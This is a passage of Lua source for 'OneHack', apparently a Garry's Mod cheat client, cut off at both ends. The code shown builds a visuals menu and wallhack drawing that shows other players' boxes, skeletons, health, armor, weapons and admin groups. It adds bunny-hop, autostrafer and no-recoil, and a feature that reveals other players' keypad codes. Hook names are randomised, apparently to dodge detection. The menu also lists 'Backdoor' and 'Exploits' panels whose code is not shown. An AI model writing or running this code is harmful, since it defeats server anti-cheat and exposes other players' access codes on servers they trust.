1743 logsmenuoptrichtext:AppendText( tab[1].."\n" )
1744 end
1745
1746 if onehack.selectedpanel != nil then
1747 onehack.selectedpanel:Remove()
1748 end
1749 onehack.selectedpanel_id = 4
1750 onehack.selectedpanel = logsmenuopt
1751 end
1752
1753 function esppanel()
1754 esppanel = vgui.Create( "DPanel" , framesag )
1755 esppanel:SetPos( 126, 9 )
1756 esppanel:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1757 function esppanel:Paint( w, h )
1758 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1759 end
1760
1761 local esbenable = vgui.Create("DCheckBox",esppanel)
1762 esbenable:SetPos(5,5)
1763 esbenable:SetValue(onehack.Vars['ESP'])
1764 esbenable:SetSize(100,17)
1765 function esbenable:Paint(w,h)
1766 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1767 if esbenable:GetChecked() then
1768 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1769 end
1770 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1771 draw.SimpleText("Enabled","DermaDefault",24,h/2,Color(255,255,255),0,1)
1772 onehack.Vars['ESP'] = esbenable:GetChecked()
1773 end
1774
1775 local shownames = vgui.Create("DCheckBox",esppanel)
1776 shownames:SetPos(5,27)
1777 shownames:SetValue(onehack.Vars['ESP_NAME'])
1778 shownames:SetSize(100,17)
1779 function shownames:Paint(w,h)
1780 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1781 if shownames:GetChecked() then
1782 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1783 end
1784 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1785 draw.SimpleText("Name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1786 onehack.Vars['ESP_NAME'] = shownames:GetChecked()
1787 end
1788
1789 local showgroup = vgui.Create("DCheckBox",esppanel)
1790 showgroup:SetPos(5,49)
1791 showgroup:SetValue(onehack.Vars['ESP_GROUP'])
1792 showgroup:SetSize(100,17)
1793 function showgroup:Paint(w,h)
1794 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1795 if showgroup:GetChecked() then
1796 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1797 end
1798 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1799 draw.SimpleText("User group","DermaDefault",24,h/2,Color(255,255,255),0,1)
1800 onehack.Vars['ESP_GROUP'] = showgroup:GetChecked()
1801 end
1802
1803 local showteam = vgui.Create("DCheckBox",esppanel)
1804 showteam:SetPos(5,72)
1805 showteam:SetValue(onehack.Vars['ESP_TEAM'])
1806 showteam:SetSize(100,17)
1807 function showteam:Paint(w,h)
1808 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1809 if showteam:GetChecked() then
1810 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1811 end
1812 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1813 draw.SimpleText("Team name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1814 onehack.Vars['ESP_TEAM'] = showteam:GetChecked()
1815 end
1816
1817 local showhealthnumber = vgui.Create("DCheckBox",esppanel)
1818 showhealthnumber:SetPos(5,94)
1819 showhealthnumber:SetValue(onehack.Vars['ESP_HP'])
1820 showhealthnumber:SetSize(100,17)
1821 function showhealthnumber:Paint(w,h)
1822 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1823 if showhealthnumber:GetChecked() then
1824 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1825 end
1826 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1827 draw.SimpleText("Health number","DermaDefault",24,h/2,Color(255,255,255),0,1)
1828 onehack.Vars['ESP_HP'] = showhealthnumber:GetChecked()
1829 end
1830
1831 local showhealtbox = vgui.Create("DCheckBox",esppanel)
1832 showhealtbox:SetPos(5,116)
1833 showhealtbox:SetValue(onehack.Vars['ESP_HPBOX'])
1834 showhealtbox:SetSize(100,17)
1835 function showhealtbox:Paint(w,h)
1836 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1837 if showhealtbox:GetChecked() then
1838 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1839 end
1840 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1841 draw.SimpleText("Health box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1842 onehack.Vars['ESP_HPBOX'] = showhealtbox:GetChecked()
1843 end
1844
1845 local showarmornumber = vgui.Create("DCheckBox",esppanel)
1846 showarmornumber:SetPos(5,137)
1847 showarmornumber:SetValue(onehack.Vars['ESP_ARMOR'])
1848 showarmornumber:SetSize(100,17)
1849 function showarmornumber:Paint(w,h)
1850 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1851 if showarmornumber:GetChecked() then
1852 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1853 end
1854 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1855 draw.SimpleText("Armor number","DermaDefault",24,h/2,Color(255,255,255),0,1)
1856 onehack.Vars['ESP_ARMOR'] = showarmornumber:GetChecked()
1857 end
1858
1859 local showarmorbox = vgui.Create("DCheckBox",esppanel)
1860 showarmorbox:SetPos(5,159)
1861 showarmorbox:SetValue(onehack.Vars['ESP_ARMORBOX'])
1862 showarmorbox:SetSize(100,17)
1863 function showarmorbox:Paint(w,h)
1864 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1865 if showarmorbox:GetChecked() then
1866 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1867 end
1868 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1869 draw.SimpleText("Armor box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1870 onehack.Vars['ESP_ARMORBOX'] = showarmorbox:GetChecked()
1871 end
1872
1873 local showammonumber = vgui.Create("DCheckBox",esppanel)
1874 showammonumber:SetPos(5,181)
1875 showammonumber:SetValue(onehack.Vars['ESP_WEAPON'])
1876 showammonumber:SetSize(100,17)
1877 function showammonumber:Paint(w,h)
1878 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1879 if showammonumber:GetChecked() then
1880 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1881 end
1882 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1883 draw.SimpleText("Weapon name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1884 onehack.Vars['ESP_WEAPON'] = showammonumber:GetChecked()
1885 end
1886
1887 local showbox = vgui.Create("DCheckBox",esppanel)
1888 showbox:SetPos(5,202)
1889 showbox:SetValue(onehack.Vars['ESP_BOX'])
1890 showbox:SetSize(100,17)
1891 function showbox:Paint(w,h)
1892 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1893 if showbox:GetChecked() then
1894 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1895 end
1896 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1897 draw.SimpleText("Box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1898 onehack.Vars['ESP_BOX'] = showbox:GetChecked()
1899 end
1900
1901 local showskelet = vgui.Create("DCheckBox",esppanel)
1902 showskelet:SetPos(5,224)
1903 showskelet:SetValue(onehack.Vars['ESP_SKELET'])
1904 showskelet:SetSize(100,17)
1905 function showskelet:Paint(w,h)
1906 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1907 if showskelet:GetChecked() then
1908 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1909 end
1910 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1911 draw.SimpleText("Skeleton","DermaDefault",24,h/2,Color(255,255,255),0,1)
1912 onehack.Vars['ESP_SKELET'] = showskelet:GetChecked()
1913 end
1914
1915 local norecoil = vgui.Create("DCheckBox",esppanel)
1916 norecoil:SetPos(5,260)
1917 norecoil:SetValue(onehack.Vars['NoRecoil'])
1918 norecoil:SetSize(100,17)
1919 function norecoil:Paint(w,h)
1920 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1921 if norecoil:GetChecked() then
1922 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1923 end
1924 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1925 draw.SimpleText("No recoil","DermaDefault",24,h/2,Color(255,255,255),0,1)
1926 onehack.Vars['NoRecoil'] = norecoil:GetChecked()
1927 end
1928
1929 local Crosshair = vgui.Create("DCheckBox",esppanel)
1930 Crosshair:SetPos(5,282)
1931 Crosshair:SetValue(onehack.Vars['Crosshair'])
1932 Crosshair:SetSize(100,17)
1933 function Crosshair:Paint(w,h)
1934 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1935 if Crosshair:GetChecked() then
1936 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1937 end
1938 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1939 draw.SimpleText("Crosshair","DermaDefault",24,h/2,Color(255,255,255),0,1)
1940 onehack.Vars['Crosshair'] = Crosshair:GetChecked()
1941 end
1942
1943 local preview = vgui.Create("DPanel",esppanel)
1944 preview:SetPos(212,5)
1945 preview:SetSize(250,373)
1946 function preview:Paint(w,h)
1947 onehack.DrawRect(0,0,w,h,Color(255,255,255,10))
1948 onehack.DrawOutLinedRect(0,0,w,h,onehack.theme.backgroundalt2)
1949
1950 if onehack.Vars['ESP_NAME'] then
1951 draw.SimpleTextOutlined("Garry :D","default",w/2, 50,Color(255,255,255),1,1,1,Color(0,0,0))
1952 end
1953
1954 if onehack.Vars['ESP_WEAPON'] then
1955 draw.SimpleTextOutlined("Crowbar","default",w/2, h-50,Color(255,255,255),1,1,1,Color(0,0,0))
1956 end
1957
1958 if onehack.Vars['ESP_TEAM'] then
1959 draw.SimpleTextOutlined("Citizen","default",w-54, 65,Color(50,255,50),0,1,1,Color(0,0,0))
1960 end
1961
1962 if onehack.Vars['ESP_GROUP'] then
1963 draw.SimpleTextOutlined("Admin","default",w-54, 80,Color(255,255,255),0,1,1,Color(0,0,0))
1964 end
1965
1966 if onehack.Vars['ESP_HP'] then
1967 draw.SimpleTextOutlined("100%","default",58,56,Color(150,255,0),0,1,1,Color(0,0,0))
1968 end
1969
1970 if onehack.Vars['ESP_HPBOX'] then
1971 onehack.DrawOutLinedRect(53,60,6,h-120,Color(0,0,0))
1972 onehack.DrawRect(54,61,4,h-122,Color(150,255,0))
1973 --onehack.DrawOutLinedRect(56,60,5,h-120,Color(0,0,0))
1974 end
1975
1976 if onehack.Vars['ESP_ARMOR'] then
1977 draw.SimpleTextOutlined("100%","default",46,56,Color(19,136,191),2,1,1,Color(0,0,0))
1978 end
1979
1980 if onehack.Vars['ESP_ARMORBOX'] then
1981 onehack.DrawOutLinedRect(46,60,6,h-120,Color(0,0,0))
1982 onehack.DrawRect(47,61,4,h-122,Color(19,136,191))
1983 --onehack.DrawOutLinedRect(56,60,5,h-120,Color(0,0,0))
1984 end
1985
1986 if onehack.Vars['ESP_BOX'] then
1987 onehack.DrawOutLinedRect(60,60,w-120,h-120,Color(0,0,0))
1988 onehack.DrawOutLinedRect(61,61,w-122,h-122,Color(255,255,255))
1989 onehack.DrawOutLinedRect(62,62,w-124,h-124,Color(0,0,0))
1990 end
1991 end
1992
1993 if onehack.selectedpanel != nil then
1994 onehack.selectedpanel:Remove()
1995 end
1996 onehack.selectedpanel_id = 5
1997 onehack.selectedpanel = esppanel
1998 end
1999
2000 function aimpanel()
2001 aimpanel = vgui.Create( "DPanel" , framesag )
2002 aimpanel:SetPos( 126, 9 )
2003 aimpanel:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
2004 function aimpanel:Paint( w, h )
2005 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
2006 draw.SimpleText("Coming soon...","DermaDefault",w/2,h/2,Color(255,255,255,100),1,1)
2007 end
2008
2009 if onehack.selectedpanel != nil then
2010 onehack.selectedpanel:Remove()
2011 end
2012 onehack.selectedpanel_id = 5
2013 onehack.selectedpanel = aimpanel
2014 end
2015
2016 PanelAddButton("Aimbot",aimpanel,6)
2017 PanelAddButton("Visuals",esppanel,5)
2018 PanelAddButton("Backdoor",onehackdooropt,1)
2019 PanelAddButton("Exploits",exploitmenuopt,2)
2020 PanelAddButton("Options",optionsmenuopt,3)
2021 PanelAddButton("Logs",logsmenuopt,4)
2022 onehackdooropt()
2023end
2024function myfunc()
2025 if input.IsKeyDown( KEY_F11 ) then
2026 if not timer.Exists("FW.MenuIsPressed") then
2027 if IsValid(framesag) then
2028 framesag:Remove()
2029 else
2030 MainFunc()
2031 end
2032 timer.Create("FW.MenuIsPressed",0.3,1,function() end)
2033 end
2034 end
2035
2036 if input.IsKeyDown( KEY_F9 ) then
2037 if not timer.Exists("FW.MenuIsPressedF9") then
2038 onehack.Vars['FCAM'] = !onehack.Vars['FCAM']
2039 timer.Create("FW.MenuIsPressedF9",0.3,1,function() end)
2040 end
2041 end
2042end
2043onehack.DebugLog( "Onehack loaded successfully!", Color(100,255,100) )
2044onehack.DebugLog( "onehack version v2.44, build 13.05.2019", Color(255,255,255) )
2045hook.Add("Think","twsgsh",myfunc)
2046
2047
2048local me = LocalPlayer();
2049function onehack.CreateMove(cmd)
2050 local memfootprint = gcinfo()
2051 if(!onehack.Vars['BHOP']) then return; end
2052 if(!me:IsOnGround() && cmd:KeyDown(IN_JUMP)) then
2053 cmd:RemoveKey(IN_JUMP);
2054 if(onehack.Vars['AUTOSTRAFER']) then
2055 if(cmd:GetMouseX() > 1 || cmd:GetMouseX() < -1) then
2056 cmd:SetSideMove(cmd:GetMouseX() > 1 && 400 || -400);
2057 else
2058 cmd:SetForwardMove(5850 / me:GetVelocity():Length2D());
2059 cmd:SetSideMove((cmd:CommandNumber() % 2 == 0) && -400 || 400);
2060 end
2061 end
2062 elseif(cmd:KeyDown(IN_JUMP) && onehack.Vars['AUTOSTRAFER']) then
2063 cmd:SetForwardMove(10000);
2064 end
2065 onehack.memory["logic"] = gcinfo() - memfootprint
2066end
2067hook.Add("CreateMove", onehack.RandomString(10), function(cmd)
2068 onehack.CreateMove(cmd);
2069end);
2070
2071function onehack.CalcView( ply, pos, angles, fov )
2072 if !me:IsValid() or !me:Alive() or me:GetViewEntity() != me or me:InVehicle() then return end
2073 local tps = {}
2074 if onehack.Vars['NoRecoil'] then
2075 tps.angles = me:EyeAngles()
2076 return tps
2077 end
2078end
2079hook.Add("CalcView", onehack.RandomString(10), onehack.CalcView)
2080
2081
2082local function coordinates( ent )
2083local min, max = ent:OBBMins(), ent:OBBMaxs()
2084local corners = {
2085 Vector( min.x, min.y, min.z ),
2086 Vector( min.x, min.y, max.z ),
2087 Vector( min.x, max.y, min.z ),
2088 Vector( min.x, max.y, max.z ),
2089 Vector( max.x, min.y, min.z ),
2090 Vector( max.x, min.y, max.z ),
2091 Vector( max.x, max.y, min.z ),
2092 Vector( max.x, max.y, max.z )
2093}
2094
2095local minX, minY, maxX, maxY = ScrW() * 2, ScrH() * 2, 0, 0
2096for _, corner in pairs( corners ) do
2097 local onScreen = ent:LocalToWorld( corner ):ToScreen()
2098 minX, minY = math.min( minX, onScreen.x ), math.min( minY, onScreen.y )
2099 maxX, maxY = math.max( maxX, onScreen.x ), math.max( maxY, onScreen.y )
2100end
2101function drawfillbox( mag,value,left,top,right,bottom,r,g,b,a )
2102 local poly = {
2103 {x=left,y=top},
2104 {x=right,y=top},
2105 {x=right,y=bottom},
2106 {x=left,y=bottom}
2107 }
2108 surface.SetDrawColor( r,g,b,a )
2109 draw.NoTexture()
2110 surface.DrawPoly(poly)
2111 draw.SimpleTextOutlined(value,"default",left + (right - left) / 2,top,Color(r,g,b,a),mag,1,1,Color(0,0,0))
2112end
2113return minX, minY, maxX, maxY
2114end
2115hook.Add("OnEntityCreated",onehack.RandomString(17),function(ent)
2116 onehack.DebugLog( ent:GetClass().." spawned on ("..tostring(ent:GetPos())..")", Color(100,100,100) )
2117end)
2118hook.Add( "PostDrawOpaqueRenderables", onehack.RandomString(17), function()
2119 if onehack.Vars['WEAPON_LIST3D'] then
2120 for k,vv in pairs(player.GetAll()) do
2121 if vv:IsValid() and vv ~= LocalPlayer() and vv:GetPos():Distance(LocalPlayer():GetPos()) < 600 and onehack.Vars['FCAM'] and vv:Alive() or (vv:GetPos():Distance(LocalPlayer():GetPos()) < 255 and vv ~= LocalPlayer() and vv:Alive()) then
2122 local rot = (vv:GetPos() - EyePos()):Angle().yaw - 90
2123 local ang = Angle(0,rot,90)
2124 cam.Start3D2D( vv:EyePos()+2*ang:Up(), ang-Angle(0,30,0), 0.15 )
2125 local otstup = 0
2126 local toleft = 160
2127 local alpha = 255 - vv:GetPos():Distance(LocalPlayer():GetPos())
2128 surface.SetDrawColor( 255, 165, 0, alpha )
2129 surface.DrawRect( toleft, 0, 150, 1 )
2130 surface.SetDrawColor( 0, 0, 0, alpha )
2131 surface.SetMaterial(Material("gui/gradient_down"))
2132 surface.DrawTexturedRect( toleft, 1, 150, alpha/2 )
2133 for k,v in pairs(vv:GetWeapons()) do
2134 surface.SetDrawColor( 255, 255, 255, alpha/2 )
2135 surface.SetMaterial(Material("gui/gradient_down"))
2136 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2137 if vv:GetActiveWeapon():IsValid() and vv:GetActiveWeapon() == v then
2138 surface.SetDrawColor( 255, 165, 0, alpha/2 )
2139 surface.SetMaterial(Material("gui/gradient_up"))
2140 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2141 elseif string.find(v:GetClass(),"m9k") or string.find(v:GetClass(),"swb") or string.find(v:GetClass(),"csgo") or string.find(v:GetClass(),"ptp") then
2142 surface.SetDrawColor( 255, 0, 0, alpha/2 )
2143 surface.SetMaterial(Material("gui/gradient_up"))
2144 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2145 end
2146 if vv:GetActiveWeapon():IsValid() and vv:GetActiveWeapon() == v then
2147 surface.SetDrawColor( 255, 165, 0, alpha )
2148 elseif string.find(v:GetClass(),"m9k") or string.find(v:GetClass(),"swb") or string.find(v:GetClass(),"csgo") or string.find(v:GetClass(),"ptp") then
2149 surface.SetDrawColor( 255, 0, 0, alpha/2 )
2150 else
2151 surface.SetDrawColor( 255, 255, 255, alpha )
2152 end
2153 surface.DrawOutlinedRect( 4+toleft, 4+otstup, 92+50, 15 )
2154
2155 draw.SimpleText(v:GetPrintName(),"DermaDefault",8+toleft, 5+otstup,Color(0,0,0,alpha))
2156 draw.SimpleText(v:GetPrintName(),"DermaDefault",8+toleft+1, 5+otstup-1,Color(255,255,255,alpha))
2157 otstup = otstup + 19
2158 end
2159 cam.End3D2D()
2160 end
2161 end
2162 end
2163
2164 if onehack.Vars['keypad_jiw'] then
2165 for k, e in pairs(ents.FindInSphere( LocalPlayer():GetPos(), 100 )) do
2166 if IsValid(e) and string.find( e:GetClass(), "Keypad") then
2167 local text;
2168 local color;
2169 if(e.code && e.code != "") then
2170 text = e.code;
2171 color = Color( 105, 255, 105, 150 )
2172 elseif(e.tempCode && e.tempCode != "") then
2173 text = e.tempCode;
2174 color = Color( 250, 150, 150, 150 )
2175 else
2176 text = "Unkn"
2177 color = Color(150,150,150,150)
2178 end
2179 local rot = (e:GetPos() - EyePos()):Angle().yaw - 90
2180 local rot2 = -(e:GetPos() - EyePos()):Angle().pich +90
2181 local ang = Angle(0,rot,rot2)
2182 cam.Start3D2D( e:GetPos()+Vector(0,0,2), ang-Angle(0,30,0), 0.15 )
2183 local otstup = 0
2184 local toleft = 40
2185 local alpha = 255-(e:GetPos():Distance(LocalPlayer():GetPos()))
2186 surface.SetDrawColor( color.r, color.g, color.b, alpha )
2187 surface.DrawRect( toleft, 0, 40, 1 )
2188 surface.SetDrawColor( 0, 0, 0, alpha )
2189 surface.SetMaterial(Material("gui/gradient_down"))
2190 surface.DrawTexturedRect( toleft, 1, 40, 30 )
2191 draw.SimpleText(text,"DermaDefault",8+toleft, 5+otstup,Color(255,255,255,alpha))
2192 cam.End3D2D()
2193 end
2194 end
2195 end
2196end )
2197hook.Add("HUDPaint", onehack.RandomString(17), function()
2198if onehack.Vars['WaterMark'] then
2199 surface.SetFont("DermaDefault")
2200 local tw,th = surface.GetTextSize("OneHack.su | "..math.Round(1/FrameTime()).." FPS | "..LocalPlayer():Ping().." PING | "..onehack.memory['hud']+onehack.memory['logic'].." KB | "..LocalPlayer():Name())
2201 tw = tw + 3
2202 onehack.DrawRect(5,5,10+tw,25,Color(onehack.theme.chroma.r,onehack.theme.chroma.g,onehack.theme.chroma.b,150))
2203 onehack.DrawRect(9,9,2+tw,17,Color(onehack.theme.chromaalt.r,onehack.theme.chromaalt.g,onehack.theme.chromaalt.b,150))
2204 onehack.DrawOutLinedRect(5,5,10+tw,25,Color(0,0,0,50))
2205 onehack.DrawOutLinedRect(9,9,2+tw,17,Color(0,0,0,50))
2206 draw.SimpleText("OneHack.su | "..math.Round(1/FrameTime()).." FPS | "..LocalPlayer():Ping().." PING | "..onehack.memory['hud']+onehack.memory['logic'].." KB | "..LocalPlayer():Name(),"DermaDefault",12,10,Color(255,255,255))
2207end
2208local memfootprintss = gcinfo()
2209if not onehack.Vars['ESP'] then return end
2210if onehack.Vars['Crosshair'] then
2211 onehack.Drawline(ScrW()/2,ScrH()/2,(ScrW()/2)+5,(ScrH()/2)+5,Color(255,255,255,100))
2212 onehack.Drawline(ScrW()/2,ScrH()/2,(ScrW()/2)-5,(ScrH()/2)+5,Color(255,255,255,100))
2213end
2214for k,v in pairs(player.GetAll()) do
2215 local left,top,right,bottom = coordinates(v)
2216 local dist = v:GetPos():Distance(LocalPlayer():GetPos())
2217 if v ~= LocalPlayer() then
2218 if dist > 20 then
2219 if v:Alive() then
2220 if left ~= 0 and right ~= 0 and top ~= 0 and bottom ~= 0 then
2221 if onehack.Vars['ESP_BOX'] then
2222 surface.SetDrawColor(Color(255,255,255))
2223 surface.DrawLine( left, top, right, top )
2224 surface.DrawLine( left, top, left, bottom )
2225 surface.DrawLine( right, top, right, bottom )
2226 surface.DrawLine( left, bottom, right, bottom )
2227
2228 surface.SetDrawColor(Color(0,0,0))
2229 surface.DrawLine( left-1, top-1, right+1, top-1 )
2230 surface.DrawLine( left-1, top-1, left-1, bottom+1 )
2231 surface.DrawLine( right+1, top-1, right+1, bottom+1 )
2232 surface.DrawLine( left-1, bottom+1, right+1, bottom+1 )
2233
2234 surface.SetDrawColor(Color(0,0,0))
2235 surface.DrawLine( left+1, top+1, right-1, top+1 )
2236 surface.DrawLine( left+1, top+1, left+1, bottom-1 )
2237 surface.DrawLine( right-1, top+1, right-1, bottom-1 )
2238 surface.DrawLine( left+1, bottom-1, right-1, bottom-1 )
2239 end
2240
2241 local hpdraw = {
2242 {x=left-4,y=top},
2243 {x=left-2,y=top},
2244 {x=left-2,y=bottom},
2245 {x=left-4,y=bottom}
2246 }
2247 if onehack.Vars['ESP_NAME'] then
2248 draw.SimpleTextOutlined(v:GetName(),"default",left + (right - left) / 2, top - 10,Color(255,255,255),1,1,1,Color(0,0,0))
2249 end
2250
2251 if IsValid(v:GetActiveWeapon()) and onehack.Vars['ESP_WEAPON'] then
2252 draw.SimpleTextOutlined(v:GetActiveWeapon():GetPrintName() or v:GetActiveWeapon():GetClass(),"default",left + (right - left) / 2, bottom + 10,Color(255,255,255),1,1,1,Color(0,0,0))
2253 end
2254 w, h = ScrW(), ScrH()
2255 w = w/2
2256 local hp = math.min(v:Health(), 100)
2257 local height = bottom - top - 1
2258 local healthbar_height = (hp / 100) * height
2259 local healthbar_height2 = (100 / 100) * height
2260 local width = (w * (hp / 100.0))
2261 local red = 255 - (hp*2.55)
2262 local green = hp * 2.55
2263 if onehack.Vars['ESP_HP'] then numb = v:Health().."%" else numb = "" end
2264 if onehack.Vars['ESP_HPBOX'] then
2265 drawfillbox( 0,"", left - 8, bottom - healthbar_height2 - 2,left - 2, bottom,0,0,0,255 )
2266 drawfillbox( 0,"", left - 7, bottom - healthbar_height2 - 1,left - 3, bottom-1,0,200,0,40 )
2267 drawfillbox( 0,numb, left - 7, bottom - healthbar_height - 1,left - 3, bottom-1,red,green,0,255 )
2268 end
2269 local ar = math.min(v:Armor(), 100)
2270 local armorbar_height = (ar / 100) * height
2271 local numb
2272 if onehack.Vars['ESP_ARMOR'] then numb = v:Armor().."%" else numb = "" end
2273 if onehack.Vars['ESP_ARMORBOX'] then
2274 drawfillbox( 0,"", left - 15, bottom - healthbar_height2 - 2,left - 10, bottom,0,0,0,255 )
2275 drawfillbox( 0,"", left - 14, bottom - healthbar_height2 - 1,left - 11, bottom-1,0,200,0,40 )
2276 drawfillbox( 2,numb, left - 14, bottom - armorbar_height - 1,left - 11, bottom-1,19,136,191,255 )
2277 end
2278 local plys = v
2279 local Bones = {}
2280 local sBones = {
2281 "ValveBiped.Bip01_Head1",
2282 "ValveBiped.Bip01_Neck1",
2283 "ValveBiped.Bip01_Spine4",
2284 "ValveBiped.Bip01_Spine2",
2285 "ValveBiped.Bip01_Spine1",
2286 "ValveBiped.Bip01_Spine",
2287 "ValveBiped.Bip01_Pelvis",
2288 "ValveBiped.Bip01_R_UpperArm",
2289 "ValveBiped.Bip01_R_Forearm",
2290 "ValveBiped.Bip01_R_Hand",
2291 "ValveBiped.Bip01_L_UpperArm",
2292 "ValveBiped.Bip01_L_Forearm",
2293 "ValveBiped.Bip01_L_Hand",
2294 "ValveBiped.Bip01_R_Thigh",
2295 "ValveBiped.Bip01_R_Calf",
2296 "ValveBiped.Bip01_R_Foot",
2297 "ValveBiped.Bip01_R_Toe0",
2298 "ValveBiped.Bip01_L_Thigh",
2299 "ValveBiped.Bip01_L_Calf",
2300 "ValveBiped.Bip01_L_Foot",
2301 "ValveBiped.Bip01_L_Toe0"
2302 }
2303 local Success = true
2304 for k, v in pairs(sBones) do
2305 if plys:LookupBone(v) != nil && plys:GetBonePosition(plys:LookupBone(v)) != nil then
2306 table.insert( Bones, plys:GetBonePosition(plys:LookupBone(v)):ToScreen() )
2307 else
2308 Success = false
2309 end
2310 end
2311 surface.SetDrawColor(Color(255,255,255))
2312 if Success and onehack.Vars['ESP_SKELET'] then
2313 surface.DrawLine( Bones[1].x, Bones[1].y, Bones[2].x, Bones[2].y )
2314 surface.DrawLine( Bones[2].x, Bones[2].y, Bones[3].x, Bones[3].y )
2315 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[4].x, Bones[4].y )
2316 surface.DrawLine( Bones[4].x, Bones[4].y, Bones[5].x, Bones[5].y )
2317 surface.DrawLine( Bones[5].x, Bones[5].y, Bones[6].x, Bones[6].y )
2318 surface.DrawLine( Bones[6].x, Bones[6].y, Bones[7].x, Bones[7].y )
2319
2320 //Legs
2321 surface.DrawLine( Bones[7].x, Bones[7].y, Bones[14].x, Bones[14].y )
2322 surface.DrawLine( Bones[14].x, Bones[14].y, Bones[15].x, Bones[15].y )
2323 surface.DrawLine( Bones[15].x, Bones[15].y, Bones[16].x, Bones[16].y )
2324 surface.DrawLine( Bones[16].x, Bones[16].y, Bones[17].x, Bones[17].y )
2325
2326 surface.DrawLine( Bones[7].x, Bones[7].y, Bones[18].x, Bones[18].y )
2327 surface.DrawLine( Bones[18].x, Bones[18].y, Bones[19].x, Bones[19].y )
2328 surface.DrawLine( Bones[19].x, Bones[19].y, Bones[20].x, Bones[20].y )
2329 surface.DrawLine( Bones[20].x, Bones[20].y, Bones[21].x, Bones[21].y )
2330
2331 //Arms
2332 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[8].x, Bones[8].y )
2333 surface.DrawLine( Bones[8].x, Bones[8].y, Bones[9].x, Bones[9].y )
2334 surface.DrawLine( Bones[9].x, Bones[9].y, Bones[10].x, Bones[10].y )
2335
2336 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[11].x, Bones[11].y )
2337 surface.DrawLine( Bones[11].x, Bones[11].y, Bones[12].x, Bones[12].y )
2338 surface.DrawLine( Bones[12].x, Bones[12].y, Bones[13].x, Bones[13].y )
2339
2340 end
2341 if onehack.Vars['ESP_TEAM'] then
2342 draw.SimpleTextOutlined(team.GetName(v:Team()),"default",right+3, top,team.GetColor(v:Team()),0,0,1,Color(0,0,0))
2343 end
2344 if onehack.Vars['ESP_GROUP'] then
2345 draw.SimpleTextOutlined(v:GetUserGroup(),"default",right+3, top+11,Color(255,255,255),0,0,1,Color(0,0,0))
2346 end
2347 end
2348 end
2349end
2350end
2351end
2352
2353onehack.memory["hud"] = gcinfo() - memfootprintss
2354end)
2355local elements = {
2356 { -- Screen
2357 x = 0.075,
2358 y = 0.04,
2359 w = 0.85,
2360 h = 0.25,
2361
2362 },
2363 { -- ABORT
2364 x = 0.075,
2365 y = 0.04 + 0.25 + 0.03,
2366 w = 0.85 / 2 - 0.04 / 2 + 0.05,
2367 h = 0.125,
2368 text = "ABORT",
2369 },
2370 { -- OK
2371 x = 0.5 + 0.04 / 2 + 0.05,
2372 y = 0.04 + 0.25 + 0.03,
2373 w = 0.85 / 2 - 0.04 / 2 - 0.05,
2374 h = 0.125,
2375 text = "OK",
2376 }
2377}
2378
2379do -- Create numbers
2380 for i = 1, 9 do
2381 local column = (i - 1) % 3
2382
2383 local row = math.floor((i - 1) / 3)
2384
2385 local element = {
2386 x = 0.075 + (0.3 * column),
